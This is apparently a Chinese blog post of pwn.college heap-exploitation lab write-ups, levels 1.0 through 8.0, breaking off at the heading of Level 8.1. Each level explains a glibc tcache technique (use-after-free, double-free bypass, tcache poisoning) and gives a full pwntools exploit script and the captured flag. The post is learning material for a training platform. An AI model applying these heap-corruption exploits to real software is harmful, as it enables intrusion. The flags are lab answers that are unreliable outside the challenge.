# 前言 悲,这篇博客最早是在 2025-01-25 开始写的,那会儿刚准备开始学堆,结果却因为各种各 样的原因(主要是未来路线规划和刚接触堆面对各种陌生的新知识感觉十分害怕,也确实不 懂,觉得很难),就去干别的了。没想到一直到 25 年 9 月才重新开始写这篇博客……既然 如此,那就干脆把以前写的全删了,从头开始刷这章好了…… 其实发现以前写的多少有点小问题,虽然现在我会的也只是比一开始的时候多了那么一丢丢 ,只是粗略了解了一点 glibc 堆分配机制而已。总的来说,面对这一章我本质上还是从零 开始,差不多吧…… # Level 1.0 ## Information - Category: Pwn ## Description > Exploit a use-after-free vulnerability to get the flag. ## Write-up 我就不贴反编译代码了,感觉也没啥好贴的。主要还是说说思路吧: `read_flag` 会 malloc 330 字节空间,然后将 flag 读到 malloc 返回的地址中。 `puts` 会输出全局变量 `ptr` 中的内容,也就是说我们只要想办法让 read_flag 的 mall oc 返回的地址与 ptr 保存的地址相同,就可以通过 puts 输出 flag 的内容。 因为 glibc 堆分配器会从 bins 中寻找并复用大小近似的 free chunk,所以我们可以先通 过调用 malloc 分配一块 330 字节的空间,然后 free 掉。这样下次如果还 malloc 330 字节大小的空间就会复用我们第一次 malloc 330 返回的地址。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level1.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size)) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(330) free() read_flag() puts() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{8_UCfYUIGnvHU86NU1Qe-H6dK1o.0VM3MDL5cTNxgzW}`] # Level 1.1 ## Information - Category: Pwn ## Description > Exploit a use-after-free vulnerability to get the flag. ## Write-up 参见 [Level 1.0](#level-10)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level1.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size)) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(618) free() read_flag() puts() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{8oPO3KqdZU5lZfzl5xftjR2IZif.0lM3MDL5cTNxgzW}`] # Level 2.0 ## Information - Category: Pwn ## Description > Create and exploit a use-after-free vulnerability to get the flag. ## Write-up 与 [Level 1](#level-10) 区别不大。但是在 malloc 存放 flag 的空间时使用的是 `rand () % 872 + 128`,这会生成 $[ 0+128,872+128)$ 范围内的随机数。所以我们要么预测它 生成什么随机数,要么爆破它落在哪个 bin 中。 [rand](https://en.cppreference.com/w/c/numeric/random/rand) 生成的是伪随机数,可 以预测。本来想直接 break PRNG 的:[上帝掷骰子?不,其实是线性同余](/posts/pwn-no tes/pwn-trick-notes/#上帝掷骰子不其实是线性同余)。 但是后来发现程序在 `__libc_csu_init` 中调用了 `flag_seed`,而这个函数内部又调用 了 `srand(seed)`,它的 seed 是循环异或栈上的数据得来的。虽然在每台机器上运行都会 有特定的栈上的数据,但是并不是一个普适的方法,尽管我可以 debug 得到 seed,但是远 程就打不通了。所以我们还是用爆破 bins 的方法好了。tcache bins 有限,这个 rand 生 成的范围也不是很大,所以还是很容易爆破的。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level2.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size)) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def test_size(candidate): launch() malloc(candidate) free() read_flag() puts() response = target.recvall(timeout=0.01) if b"pwn.college{" in response: target.close() return True return False def main(): for bin in range(0x20, 0x410 + 1, 0x10): base_req = bin - 0x10 ok = test_size(base_req) if ok: log.success( f"Found working requested size: {hex(base_req)} for tcache bin { hex(bin)}" ) return log.warning("Exhausted candidates, none matched.") target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{ME7LG_Jy8T-xEw9H_njxpD2aJ4z.01M3MDL5cTNxgzW}`] # Level 2.1 ## Information - Category: Pwn ## Description > Create and exploit a use-after-free vulnerability to get the flag. ## Write-up 参见 [Level 2.0](#level-20)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level2.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size)) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def test_size(candidate): launch() malloc(candidate) free() read_flag() puts() response = target.recvall(timeout=0.01) if b"pwn.college{" in response: target.close() return True return False def main(): for bin in range(0x20, 0x410 + 1, 0x10): base_req = bin - 0x10 ok = test_size(base_req) if ok: log.success( f"Found working requested size: {hex(base_req)} for tcache bin { hex(bin)}" ) return log.warning("Exhausted candidates, none matched.") target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{MihEcPIR1bQBmiQGOoGELSrscgW.0FN3MDL5cTNxgzW}`] # Level 3.0 ## Information - Category: Pwn ## Description > Create and exploit a use-after-free vulnerability to get the flag when multipl e allocations occur. ## Write-up 这题和之前也差不多,只不过 `ptr` 变成了可以容纳 16 个指针的数组,然后 `read_flag ` 会 malloc 两次,flag 被写入第二次 malloc 返回的地址中。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level3.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx)) target.sendlineafter(b"Size: ", str(size)) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx)) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx)) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(0, 773) malloc(1, 773) free(0) free(1) read_flag() puts(0) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{wvvL-j9QzjeoJrOsQS4Vval7exq.0VN3MDL5cTNxgzW}`] # Level 3.1 ## Information - Category: Pwn ## Description > Create and exploit a use-after-free vulnerability to get the flag when multipl e allocations occur. ## Write-up 参见 [Level 3.0](#level-30)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, log, process, raw_input, remote, ) FILE = "/challenge/babyheap_level3.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx)) target.sendlineafter(b"Size: ", str(size)) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx)) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx)) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(0, 911) malloc(1, 911) free(0) free(1) read_flag() puts(0) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{wDLulwEpEQfpi78_Z4CAniTrByQ.0lN3MDL5cTNxgzW}`] # Level 4.0 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct value to get the flag when multiple allocation s occur. ## Write-up 变变变,围绕一个特定的主题,逐步递增难度,最后产生各种不同的变式,这就是我最喜欢 pwn.college 的地方,对于学习各种利用姿势来说非常友好。 这题回到了一开始的样子,`ptr` 是一个全局变量,用于保存 malloc 返回的指针。`read_ flag` 延续了上题的风格,会 malloc 两次,flag 被写到第二次 malloc 返回的地址中。 此外,新增了下面这个 `scanf` 功能: ```c if ( strcmp(s1, "scanf") ) break; v3 = malloc_usable_size(ptr); sprintf(s1, "%%%us", v3); v4 = malloc_usable_size(ptr); printf("[*] scanf("%%%us", allocations[%d])n", v4, 0); __isoc99_scanf(s1, ptr); puts(byte_246E); ``` 它先通过 `malloc_usable_size(ptr)` 确定 ptr 保存的地址的 data 部分大小,然后通过 `sprintf(s1, "%%%us", v3)` 动态生成格式化字符串,写入 `s1` 中。`%%%us` 会先解析 出一个 `%`,然后 `%u` 被解析为一个 `unsigned int`,最后加上 `s`,也就是根据 `v4` 动态生成 `%v4s` 这样的格式化字符串。 之后才是真正的读取输入,`__isoc99_scanf(s1, ptr)` 使用 s1 中保存的动态生成的格式 化字符串,读取指定大小数据到 ptr 中。 :::important tcache / fastbin 都是单链表,只使用了 fd 指针。区别是 tcache 的 fd 指向下一个 fr ee chunk 的 data 区域,而 fastbin 的 fd 指向的是下一个 free chunk 的 metadata 区 域。 ::: 上面聊完了程序的大致功能,下面说点正经的做题思路: 我们 malloc / free 操作都受限于 ptr 指针,这个指针是固定值,而我们又希望 `read_f lag` 将 flag 地址保存在 ptr 指针中,怎么办?我想了很多方法,起码也得有 5 种奇怪 的方案,比如先泄漏堆地址,然后改写 ptr 指针的内容为 flag 的地址……结果最后都掉进 了一些奇奇怪怪的 pitfall 里 awww,这里就不展开细说了……最后在某一天清晨,当我洗漱 完继续投入到这道题中时,与平日截然相反地,我拿起了纸和笔,试图重新理理思路……结果 [奇迹就发生了](https://memos.cubeyond.net/memos/NmPqpLBtMjrvZmUBMcPy92)…… 简单来说就是,先 malloc 一块和 flag 需要的大小相同的区域,这时候 ptr 就变成了 ma lloc 的返回值,然后我们 free 它,它会被丢进 tcachebin 中。这时候如果我们直接调用 read_flag 的话,它的第一个 malloc 肯定会拿到我们刚才 free 掉的那个 chunk,然后 因为没有其它空闲 chunk 了,就会从 arena 中开辟一个新的 chunk 出来,这样的话 flag 的地址就永远不会和 ptr 保存的地址相同了……<s>不行!太恶劣了!我绝对不允许这种事 情发生在我眼皮底下!</s>所以,问题的关键就在于我们有没有办法令 read_flag 第二次 malloc 取得的地址和第一次 malloc 取得的一样?很简单,free 两次,tcachebin 中不就 有两个一样的 free chunk 了吗?但是这样会触发 double free 检测,程序直接 abort, 那么问题就变成了我们应该如何绕过这个检测了。 这里我们需要研究一下 glibc-2.31 的源码(pwn.college 这一章用的都是 2.31):[薛定 谔的 free chunks: Double Free, Double Fun ?](/posts/pwn-notes/pwn-trick-notes/# 薛定谔的-free-chunks-double-free-double-fun-) 由于我们有 scanf 功能,可以向 ptr 指向的地址处写入数据,也就是说我们能写入 data 区。scanf 遇到换行则认为输入结束,并将换行替换为 `x00`。我们想让 ptr 在 tcachebi n 中出现两次,就可以这么玩:`malloc -> free -> scanf -> free -> read_flag -> put s`。至于这条攻击链的具体原理就自己琢磨去吧,我这里就不再过多赘述了。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, process, raw_input, remote, ) FILE = "/challenge/babyheap_level4.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def scanf(data): target.sendlineafter(b": ", b"scanf") target.sendline(data) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(542) free() scanf(b"A" * 8) free() read_flag() puts() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{oZ6_TOkCX4vXbuU0gTGgGHmYWRJ.01N3MDL5cTNxgzW}`] # Level 4.1 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct value to get the flag when multiple allocation s occur. ## Write-up 参见 [Level 4.0](#level-40)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, process, raw_input, remote, ) FILE = "/challenge/babyheap_level4.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(): target.sendlineafter(b": ", b"free") def puts(): target.sendlineafter(b": ", b"puts") def scanf(data): target.sendlineafter(b": ", b"scanf") target.sendline(data) def read_flag(): target.sendlineafter(b": ", b"read_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(708) free() scanf(b"A" * 8) free() read_flag() puts() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{MHf4zKVq2DfY5MtZr8YZABG0Z4S.0FO3MDL5cTNxgzW}`] # Level 5.0 ## Information - Category: Pwn ## Description > Apply the TCACHE metadata in an unintended manner to set a value. ## Write-up 这题又是 ptr 数组,`read_flag` 将 flag 读到它 malloc 返回的地址加上 16 字节偏移 的位置。然后就是新增了一个 `puts_flag` 函数: ```c if ( strcmp(s1, "puts_flag") ) break; if ( *(_QWORD *)size_4 ) puts(size_4 + 16); else puts("Not authorized!"); ``` 它检测 read_flag 的 malloc 返回的地址处的前 8 字节是否为空,不为空则输出 flag 。 对 `mlloc_chunk` 结构体熟悉的话就知道前 8 字节是 fd 的位置。那我们现在没有任何可 以向 chunk data 写入数据的方法,如何修改 fd 呢?自然是 free 啦~ ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, process, raw_input, remote, ) FILE = "/challenge/babyheap_level5.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def read_flag(): target.sendlineafter(b": ", b"read_flag") def puts_flag(): target.sendlineafter(b": ", b"puts_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(0, 496) malloc(1, 496) free(0) free(1) read_flag() free(1) puts_flag() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{ckg3CON3ru3-ygB82VxLMcRUuBS.0VO3MDL5cTNxgzW}`] # Level 5.1 ## Information - Category: Pwn ## Description > Apply the TCACHE metadata in an unintended manner to set a value. ## Write-up 参见 [Level 5.0](#level-50)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, process, raw_input, remote, ) FILE = "/challenge/babyheap_level5.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def read_flag(): target.sendlineafter(b": ", b"read_flag") def puts_flag(): target.sendlineafter(b": ", b"puts_flag") def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() malloc(0, 456) malloc(1, 456) free(0) free(1) read_flag() free(1) puts_flag() quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{YWZIg8kQV_nzpSzsFagMNO6O6Qn.0FM4MDL5cTNxgzW}`] # Level 6.0 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct to read unintended memory. ## Write-up ptr 数组管理多个分配,`scanf` 向指定 chunk 写入 data,`send_flag` 验证输入的 sec ret 与随机生成的存放在 bss 中的 secret 是否相同,相同则输出 flag 。 这是生成随机 8 字节 secret 的部分: ```c for ( i = 0; i <= 7; ++i ) byte_428849[i] = rand() % 26 + 97; ``` 由于没开 PIE,而生成的 secret 又是保存在 bss 段,所以我们可以精准定位 secret 的 地址。 `puts` 将 `ptr[idx]` 视为字符串指针,输出其保存的内容。所以我们只要想办法令 mall oc 返回给 ptr[idx] 的地址为 bss 上存放 secret 的地址就可以输出 secret 了。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level6.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode("ascii")) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret = elf.bss() + 0x18849 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret = target.recvline().strip().decode("ascii") send_flag(secret) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{wLCxyleFYPCBwUq2LzFkqEM8qzv.0VM4MDL5cTNxgzW}`] # Level 6.1 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct to read unintended memory. ## Write-up 参见 [Level 6.0](#level-60)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level6.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode("ascii")) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret = elf.bss() + 0x1B553 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret = target.recvline().strip().decode("ascii") send_flag(secret) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{oc9V7EmGNRr7415ZlPgXYL-qDjV.0lM4MDL5cTNxgzW}`] # Level 7.0 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct to read unintended memory. ## Write-up 和上题一样,但是这次变成了 16 字节随机值: ```c for ( i = 0; i <= 15; ++i ) byte_429532[i] = rand() % 26 + 97; ``` 问题就在于,按照上个方法我们令 malloc 拿到 secret 的地址后,它会将 `e->key = NUL L`,导致后 8 字节被清空。 但是也很好解决。既然我们可以泄漏出前 8 字节,那我们将偏移加 8 再来一次不就泄漏出 后 8 字节了吗? 分析下面设置 seed 的流程我们知道,seed 每次运行程序都是一样的,由于上面生成随机 secret 的部分用的是伪随机数发生器,所以每次运行结果也是不变的,那就没啥好担心的 了。 ```c unsigned __int64 flag_seed() { unsigned int seed; // [rsp+4h] [rbp-9Ch] unsigned int i; // [rsp+8h] [rbp-98h] int fd; // [rsp+Ch] [rbp-94h] _QWORD buf[17]; // [rsp+10h] [rbp-90h] BYREF unsigned __int64 v5; // [rsp+98h] [rbp-8h] v5 = __readfsqword(0x28u); memset(buf, 0, 128); fd = open("/flag", 0); if ( fd < 0 ) __assert_fail("fd >= 0", "<stdin>", 0x20u, "flag_seed"); if ( read(fd, buf, 0x80uLL) <= 0 ) __assert_fail("read(fd, flag, 128) > 0", "<stdin>", 0x21u, "flag_seed"); seed = 0; for ( i = 0; i <= 31; ++i ) seed ^= *((_DWORD *)buf + (int)i); srand(seed); memset(buf, 0, 128uLL); return __readfsqword(0x28u) ^ v5; } ``` 反正我用的方法比较简单粗暴,不过我也想过一次性泄漏完整的 secret,那就需要伪造 ch unk size,提前做点布局……实际操作起来还挺麻烦的,也就没继续深入…… ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level7.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode("ascii")) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret_p1 = elf.bss() + 0x19532 secret_p2 = secret_p1 + 0x8 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p1)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret_p1 = target.recvline().strip().decode("ascii") target.success(f"Part 1: {secret_p1}") target.close() launch() malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p2)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret_p2 = target.recvline().strip().decode("ascii") target.success(f"Part 2: {secret_p2}") secret = secret_p1 + secret_p2 send_flag(secret) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{QXpTguKBiT4StYFr24ZsUSfm3-8.01M4MDL5cTNxgzW}`] # Level 7.1 ## Information - Category: Pwn ## Description > Corrupt the TCACHE entry_struct to read unintended memory. ## Write-up 参见 [Level 7.0](#level-70)。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level7.1" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", str(secret).encode("ascii")) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret_p1 = elf.bss() + 0x17051 secret_p2 = secret_p1 + 0x8 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p1)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret_p1 = target.recvline().strip().decode("ascii") target.success(f"Part 1: {secret_p1}") target.close() launch() malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret_p2)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret_p2 = target.recvline().strip().decode("ascii") target.success(f"Part 2: {secret_p2}") secret = secret_p1 + secret_p2 send_flag(secret) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{cy0iZfUAyZ9bbo5DL_cS-9sxRN6.0FN4MDL5cTNxgzW}`] # Level 8.0 ## Information - Category: Pwn ## Description > Leverage TCACHE exploits to pass a validation check. ## Write-up 和上题几乎是一样的,除了这次 secret 被刻意放在了以 `x0a` 结尾的地址处。由于它代 表 LF (Line Feed),所以我们不能直接通过 `scanf` 将它读入,最终会少写一个 `x0a`。 只要解决了这个问题,其它的问题就可以直接套用上题 exp 思路了。 感觉这题还是有一点小难的,至少对于刚开始学的我来说并不简单。当时卡了我两天,没有 什么头绪,唯一想到可行的解法是 scanf overwrite fd,指向 secret 地址向后偏移 4 字 节的地方,然后我们可以就可以泄漏 12/16 的 secret 了。问题是,如何得到剩下的四个 字符呢?我想过伪造 chunk 什么的方法,但是都已失败告终了。最后,我还是老老实实的 写了个 bruteforce 的 approach,结果预估了一下时间,爆破四个小写字母,也就是 $1/2 6^{4}$ 的 chance 成功,单线程都跑不满的情况下,得要 2h 45min……草啊,我本地得测试 吧,3h 没了,远程再打一遍,3h 又没了。虽然这个方法可行,但是感觉也太蠢了…… 后来尝试让 AI 写个多线程爆破的 approach,写的和屎一样,最后虽然写出来了,但还是 有点问题,总之虽然爆破理论可行,但是因为我运气不好,就没见过它爆出来的样子…… 不过回想起去年,也让 AI 写过多线程爆破的脚本,相比那次,这次代码质量算高了好几倍 了,发展的还是很快的/悲 遂又去思考更好的方法,思考能不能泄漏完整的 secret 。想了整整一下午,没想出来,感 觉完整泄漏好像不太可能,然后盯着检测代码发呆,~试图看穿屏幕……~ ```c if ( strcmp(s1, "send_flag") ) break; printf("Secret: "); __isoc99_scanf("%127s", s1); puts(s_0); if ( !memcmp(s1, s2_0, 0x10u) ) { puts("Authorized!"); win(); } else { puts("Not authorized!"); } ``` 既然不能泄漏完整的 secret,那还有没有其它通过这个检测的方法呢?思考……突然灵光闪 现,因为 malloc 从 tcache 取 chunk 会将它的 key 清空,那如果我们 malloc 到 secre t 前面,然后让 `tcache_get` 将 secret 的前 8 字节清空,是不是就相当于知道了 secr et 的前 8 字节为 NULL?然后结合我们之前的思路,可以泄漏后 8 字节……草,出了! ## Exploit ```python #!/usr/bin/env python3 from pwn import ( args, context, flat, p32, process, raw_input, remote, ) FILE = "/challenge/babyheap_level8.0" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def malloc(idx, size): target.sendlineafter(b": ", b"malloc") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendlineafter(b"Size: ", str(size).encode("ascii")) def free(idx): target.sendlineafter(b": ", b"free") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def puts(idx): target.sendlineafter(b": ", b"puts") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) def scanf(idx, data): target.sendlineafter(b": ", b"scanf") target.sendlineafter(b"Index: ", str(idx).encode("ascii")) target.sendline(data) def send_flag(secret): target.sendlineafter(b": ", b"send_flag") target.sendlineafter(b"Secret: ", secret) def quit(): target.sendlineafter(b": ", b"quit") def main(): launch() secret = elf.bss() + 0x1230A + 0x8 zero_out = elf.bss() + 0x1230A - 0x8 malloc(0, 0) malloc(1, 0) free(1) free(0) scanf(0, p32(secret)) malloc(0, 0) malloc(0, 0) puts(0) target.recvuntil(b"Data: ") secret = target.recvline().strip() malloc(0, 0) malloc(1, 0) free(1) free(0) # raw_input("DEBUG") scanf(0, p32(zero_out)) malloc(0, 0) malloc(0, 0) # raw_input("DEBUG") payload = flat( 0, secret, ) send_flag(payload) quit() target.interactive() if __name__ == "__main__": main() ``` ## Flag :spoiler[`pwn.college{4xf_sG0yXaGhMXdibln3SOAB5xv.0VN4MDL5cTNxgzW}`] # Level 8.1 ## Information - 